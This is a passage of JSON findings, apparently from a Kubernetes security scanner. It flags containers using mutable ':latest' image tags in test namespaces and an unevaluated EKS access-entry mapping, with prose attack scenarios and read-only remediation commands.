    "id": "KUBE-IMAGE-LATEST-001:Deployment:containersec-fixtures:containersec-image:app",
    "rule_id": "KUBE-IMAGE-LATEST-001",
    "severity": "LOW",
    "score": 2.5,
    "category": "defense_evasion",
    "title": "Container `app` uses mutable image tag `busybox:latest` in `Deployment/containersec-fixtures/containersec-image`",
    "description": "Container `app` in `Deployment/containersec-fixtures/containersec-image` references the image `busybox:latest` using a mutable tag (either `:latest` or no tag, which Kubernetes resolves to `:latest`). Mutable tags break two safety properties: (1) the same manifest produces non-deterministic deployments, since the tag may resolve to different content on different days; (2) there is no cryptographic binding between the manifest and the image content actually run, so registry-side or in-flight tampering cannot be detected.\n\nThis is a defense-evasion / supply-chain hygiene finding rather than an active exploit. Image digests (`@sha256:\u003chex\u003e`) are immutable: the digest is computed over the manifest content, so any change yields a different digest. SLSA, Sigstore Cosign, and admission controllers like Kyverno or Connaisseur are the modern controls; pinning to a digest is the prerequisite for verifying signatures.\n\nA public package compromise (Codecov-style or PyPI-typosquat scenarios, or the 2024 ultralytics PyPI compromise) can republish `image:latest` with malicious code; clusters with `imagePullPolicy: Always` and `:latest` silently pick it up. Pinning to a digest turns a silent supply-chain attack into a noisy CI failure.",
    "resource": {
      "kind": "Deployment",
      "name": "containersec-image",
      "namespace": "containersec-fixtures",
      "api_group": "apps"
    },
    "namespace": "containersec-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/containersec-fixtures/containersec-image`"
    },
    "impact": "Non-deterministic deployments and silent ingestion of upstream supply-chain compromises; disables digest-based verification and signature checking.",
    "attack_scenario": [
      "Attacker compromises an upstream image (registry credential leak, typosquat, or maintainer takeover).",
      "Pushes `vendor/app:latest` with a malicious additional layer.",
      "Target cluster's pod restarts and `imagePullPolicy: Always` re-pulls the tag, getting the new digest silently.",
      "Malicious code runs under the workload's existing RBAC/secrets context.",
      "Without digest pinning or signature verification, defenders have no signal until detection-tier tools fire on the malicious behavior."
    ],
    "evidence": {
      "container": "app",
      "image": "busybox:latest"
    },
    "remediation": "Pin every image to an immutable digest (`@sha256:...`) and verify signatures at admission.",
    "remediation_steps": [
      "Resolve the digest: `crane digest \u003cref\u003e` or `docker buildx imagetools inspect \u003cimage\u003e:\u003ctag\u003e`. Update manifests to `image: \u003crepo\u003e@sha256:\u003cdigest\u003e` (you may keep the tag for documentation: `image: \u003crepo\u003e:1.2.3@sha256:\u003cdigest\u003e`).",
      "Set `imagePullPolicy: IfNotPresent` (digest pinning makes Always unnecessary). For images that absolutely must float, apply a Kyverno policy that rejects `:latest`.",
      "Sign images at build time with Sigstore Cosign and enforce verification at admission with Connaisseur, Kyverno's `verifyImages` rule, or sigstore-policy-controller.",
      "Validate: `kubectl get deployment/containersec-image -n containersec-fixtures -o jsonpath='{.spec.template.spec.containers[*].image}'` contains `@sha256:`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/containers/images/",
      "https://docs.sigstore.dev/cosign/overview/",
      "https://sse-secure-systems.github.io/connaisseur/v2.0.0/",
      "https://slsa.dev/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Images",
        "url": "https://kubernetes.io/docs/concepts/containers/images/"
      },
      {
        "title": "Sigstore Cosign",
        "url": "https://docs.sigstore.dev/cosign/overview/"
      },
      {
        "title": "Connaisseur — Verify Container Image Signatures",
        "url": "https://sse-secure-systems.github.io/connaisseur/v2.0.0/"
      },
      {
        "title": "SLSA Framework",
        "url": "https://slsa.dev/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1525",
        "name": "Implant Internal Image",
        "url": "https://attack.mitre.org/techniques/T1525/"
      },
      {
        "id": "T1195.002",
        "name": "Compromise Software Supply Chain",
        "url": "https://attack.mitre.org/techniques/T1195/002/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      }
    ],
    "frameworks": [
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Image scanning",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:imageTag"
    ]
  },
  {
    "id": "KUBE-IMAGE-LATEST-001:Deployment:vulnerable:risky-app:app",
    "rule_id": "KUBE-IMAGE-LATEST-001",
    "severity": "LOW",
    "score": 2.5,
    "category": "defense_evasion",
    "title": "Container `app` uses mutable image tag `nginx:latest` in `Deployment/vulnerable/risky-app`",
    "description": "Container `app` in `Deployment/vulnerable/risky-app` references the image `nginx:latest` using a mutable tag (either `:latest` or no tag, which Kubernetes resolves to `:latest`). Mutable tags break two safety properties: (1) the same manifest produces non-deterministic deployments, since the tag may resolve to different content on different days; (2) there is no cryptographic binding between the manifest and the image content actually run, so registry-side or in-flight tampering cannot be detected.\n\nThis is a defense-evasion / supply-chain hygiene finding rather than an active exploit. Image digests (`@sha256:\u003chex\u003e`) are immutable: the digest is computed over the manifest content, so any change yields a different digest. SLSA, Sigstore Cosign, and admission controllers like Kyverno or Connaisseur are the modern controls; pinning to a digest is the prerequisite for verifying signatures.\n\nA public package compromise (Codecov-style or PyPI-typosquat scenarios, or the 2024 ultralytics PyPI compromise) can republish `image:latest` with malicious code; clusters with `imagePullPolicy: Always` and `:latest` silently pick it up. Pinning to a digest turns a silent supply-chain attack into a noisy CI failure.",
    "resource": {
      "kind": "Deployment",
      "name": "risky-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/risky-app`"
    },
    "impact": "Non-deterministic deployments and silent ingestion of upstream supply-chain compromises; disables digest-based verification and signature checking.",
    "attack_scenario": [
      "Attacker compromises an upstream image (registry credential leak, typosquat, or maintainer takeover).",
      "Pushes `vendor/app:latest` with a malicious additional layer.",
      "Target cluster's pod restarts and `imagePullPolicy: Always` re-pulls the tag, getting the new digest silently.",
      "Malicious code runs under the workload's existing RBAC/secrets context.",
      "Without digest pinning or signature verification, defenders have no signal until detection-tier tools fire on the malicious behavior."
    ],
    "evidence": {
      "container": "app",
      "image": "nginx:latest"
    },
    "remediation": "Pin every image to an immutable digest (`@sha256:...`) and verify signatures at admission.",
    "remediation_steps": [
      "Resolve the digest: `crane digest \u003cref\u003e` or `docker buildx imagetools inspect \u003cimage\u003e:\u003ctag\u003e`. Update manifests to `image: \u003crepo\u003e@sha256:\u003cdigest\u003e` (you may keep the tag for documentation: `image: \u003crepo\u003e:1.2.3@sha256:\u003cdigest\u003e`).",
      "Set `imagePullPolicy: IfNotPresent` (digest pinning makes Always unnecessary). For images that absolutely must float, apply a Kyverno policy that rejects `:latest`.",
      "Sign images at build time with Sigstore Cosign and enforce verification at admission with Connaisseur, Kyverno's `verifyImages` rule, or sigstore-policy-controller.",
      "Validate: `kubectl get deployment/risky-app -n vulnerable -o jsonpath='{.spec.template.spec.containers[*].image}'` contains `@sha256:`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/containers/images/",
      "https://docs.sigstore.dev/cosign/overview/",
      "https://sse-secure-systems.github.io/connaisseur/v2.0.0/",
      "https://slsa.dev/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Images",
        "url": "https://kubernetes.io/docs/concepts/containers/images/"
      },
      {
        "title": "Sigstore Cosign",
        "url": "https://docs.sigstore.dev/cosign/overview/"
      },
      {
        "title": "Connaisseur — Verify Container Image Signatures",
        "url": "https://sse-secure-systems.github.io/connaisseur/v2.0.0/"
      },
      {
        "title": "SLSA Framework",
        "url": "https://slsa.dev/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1525",
        "name": "Implant Internal Image",
        "url": "https://attack.mitre.org/techniques/T1525/"
      },
      {
        "id": "T1195.002",
        "name": "Compromise Software Supply Chain",
        "url": "https://attack.mitre.org/techniques/T1195/002/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      }
    ],
    "frameworks": [
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Image scanning",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:imageTag"
    ]
  },
  {
    "id": "KUBE-IMAGE-LATEST-001:Deployment:cloud-eks-test:imds-pivot-app:app",
    "rule_id": "KUBE-IMAGE-LATEST-001",
    "severity": "LOW",
    "score": 2.5,
    "category": "defense_evasion",
    "title": "Container `app` uses mutable image tag `public.ecr.aws/aws-cli/aws-cli:latest` in `Deployment/cloud-eks-test/imds-pivot-app`",
    "description": "Container `app` in `Deployment/cloud-eks-test/imds-pivot-app` references the image `public.ecr.aws/aws-cli/aws-cli:latest` using a mutable tag (either `:latest` or no tag, which Kubernetes resolves to `:latest`). Mutable tags break two safety properties: (1) the same manifest produces non-deterministic deployments, since the tag may resolve to different content on different days; (2) there is no cryptographic binding between the manifest and the image content actually run, so registry-side or in-flight tampering cannot be detected.\n\nThis is a defense-evasion / supply-chain hygiene finding rather than an active exploit. Image digests (`@sha256:\u003chex\u003e`) are immutable: the digest is computed over the manifest content, so any change yields a different digest. SLSA, Sigstore Cosign, and admission controllers like Kyverno or Connaisseur are the modern controls; pinning to a digest is the prerequisite for verifying signatures.\n\nA public package compromise (Codecov-style or PyPI-typosquat scenarios, or the 2024 ultralytics PyPI compromise) can republish `image:latest` with malicious code; clusters with `imagePullPolicy: Always` and `:latest` silently pick it up. Pinning to a digest turns a silent supply-chain attack into a noisy CI failure.",
    "resource": {
      "kind": "Deployment",
      "name": "imds-pivot-app",
      "namespace": "cloud-eks-test",
      "api_group": "apps"
    },
    "namespace": "cloud-eks-test",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/cloud-eks-test/imds-pivot-app`"
    },
    "impact": "Non-deterministic deployments and silent ingestion of upstream supply-chain compromises; disables digest-based verification and signature checking.",
    "attack_scenario": [
      "Attacker compromises an upstream image (registry credential leak, typosquat, or maintainer takeover).",
      "Pushes `vendor/app:latest` with a malicious additional layer.",
      "Target cluster's pod restarts and `imagePullPolicy: Always` re-pulls the tag, getting the new digest silently.",
      "Malicious code runs under the workload's existing RBAC/secrets context.",
      "Without digest pinning or signature verification, defenders have no signal until detection-tier tools fire on the malicious behavior."
    ],
    "evidence": {
      "container": "app",
      "image": "public.ecr.aws/aws-cli/aws-cli:latest"
    },
    "remediation": "Pin every image to an immutable digest (`@sha256:...`) and verify signatures at admission.",
    "remediation_steps": [
      "Resolve the digest: `crane digest \u003cref\u003e` or `docker buildx imagetools inspect \u003cimage\u003e:\u003ctag\u003e`. Update manifests to `image: \u003crepo\u003e@sha256:\u003cdigest\u003e` (you may keep the tag for documentation: `image: \u003crepo\u003e:1.2.3@sha256:\u003cdigest\u003e`).",
      "Set `imagePullPolicy: IfNotPresent` (digest pinning makes Always unnecessary). For images that absolutely must float, apply a Kyverno policy that rejects `:latest`.",
      "Sign images at build time with Sigstore Cosign and enforce verification at admission with Connaisseur, Kyverno's `verifyImages` rule, or sigstore-policy-controller.",
      "Validate: `kubectl get deployment/imds-pivot-app -n cloud-eks-test -o jsonpath='{.spec.template.spec.containers[*].image}'` contains `@sha256:`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/containers/images/",
      "https://docs.sigstore.dev/cosign/overview/",
      "https://sse-secure-systems.github.io/connaisseur/v2.0.0/",
      "https://slsa.dev/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Images",
        "url": "https://kubernetes.io/docs/concepts/containers/images/"
      },
      {
        "title": "Sigstore Cosign",
        "url": "https://docs.sigstore.dev/cosign/overview/"
      },
      {
        "title": "Connaisseur — Verify Container Image Signatures",
        "url": "https://sse-secure-systems.github.io/connaisseur/v2.0.0/"
      },
      {
        "title": "SLSA Framework",
        "url": "https://slsa.dev/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1525",
        "name": "Implant Internal Image",
        "url": "https://attack.mitre.org/techniques/T1525/"
      },
      {
        "id": "T1195.002",
        "name": "Compromise Software Supply Chain",
        "url": "https://attack.mitre.org/techniques/T1195/002/"
      },
      {
        "id": "T1554",
        "name": "Compromise Host Software Binary",
        "url": "https://attack.mitre.org/techniques/T1554/"
      }
    ],
    "frameworks": [
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Image scanning",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:imageTag"
    ]
  },
  {
    "id": "KUBE-CLOUD-ACCESSENTRY-NOT-EVALUATED-001",
    "rule_id": "KUBE-CLOUD-ACCESSENTRY-NOT-EVALUATED-001",
    "severity": "LOW",
    "score": 2,
    "category": "privilege_escalation",
    "title": "EKS access entries were not evaluated: IAM-to-Kubernetes mappings are unknown to this scan",
    "description": "This snapshot is from an EKS cluster, but no access-entries export was supplied (`scan --eks-access-entries \u003cfile\u003e`). EKS access entries are the control-plane replacement for the aws-auth ConfigMap and the default for clusters created since late 2023; they live in the EKS API, so the collector cannot read them from inside the cluster. Every IAM-to-Kubernetes mapping made through an access entry, including AmazonEKSClusterAdminPolicy grants, is therefore unknown to this scan.",
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide coverage gap: the EKS access-entry half of IAM authentication was not available to the analyzer."
    },
    "impact": "IAM principals holding cluster-admin through access entries are not reported. The aws-auth ConfigMap was analyzed, so mappings made there are covered.",
    "attack_scenario": [
      "An IAM principal is granted AmazonEKSClusterAdminPolicy through an access entry during onboarding and never reviewed.",
      "The cluster is scanned from inside only. The grant is not a Kubernetes object, so the report shows no overbroad IAM mapping.",
      "The principal's credentials leak. The attacker is cluster-admin, and the last clean report is cited as evidence nothing was wrong."
    ],
    "evidence": {
      "accessEntriesLoaded": false,
      "awsAuthConfigMapPresent": true,
      "hint": "scripts/eks-access-entries.sh \u003ccluster\u003e \u003e entries.json \u0026\u0026 kubesplaining scan --eks-access-entries entries.json"
    },
    "remediation": "Export the cluster's access entries with `scripts/eks-access-entries.sh \u003ccluster\u003e \u003e entries.json` (read-only: eks:DescribeCluster, eks:ListAccessEntries, eks:DescribeAccessEntry, eks:ListAssociatedAccessPolicies) and re-run with `--eks-access-entries entries.json`.",
    "remediation_steps": [
      "Run `scripts/eks-access-entries.sh \u003ccluster\u003e [--region \u003cregion\u003e] \u003e entries.json` with credentials that can describe the cluster.",
      "Re-run `kubesplaining scan --eks-access-entries entries.json ...`. The KUBE-CLOUD-ACCESSENTRY-* rules then evaluate every entry and this finding disappears.",
      "If the export cannot be produced, audit the entries AWS-side: `aws eks list-access-entries`, AWS Config rule `eks-access-entry-no-admin`, or Prowler's EKS checks."
    ],
    "references": [
      "https://docs.aws.amazon.com/eks/latest/userguide/access-entries.html",
      "https://docs.aws.amazon.com/eks/latest/userguide/access-policies.html"
    ],
    "learn_more": [
      {
        "title": "AWS EKS - Grant IAM users access to Kubernetes with EKS access entries",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/access-entries.html"
      },
      {
        "title": "AWS EKS - Associate access policies with access entries",
        "url": "https://docs.aws.amazon.com/eks/latest/userguide/access-policies.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "provider:eks",
      "check:accessEntries",
      "coverage:gap"
    ]
  }
]
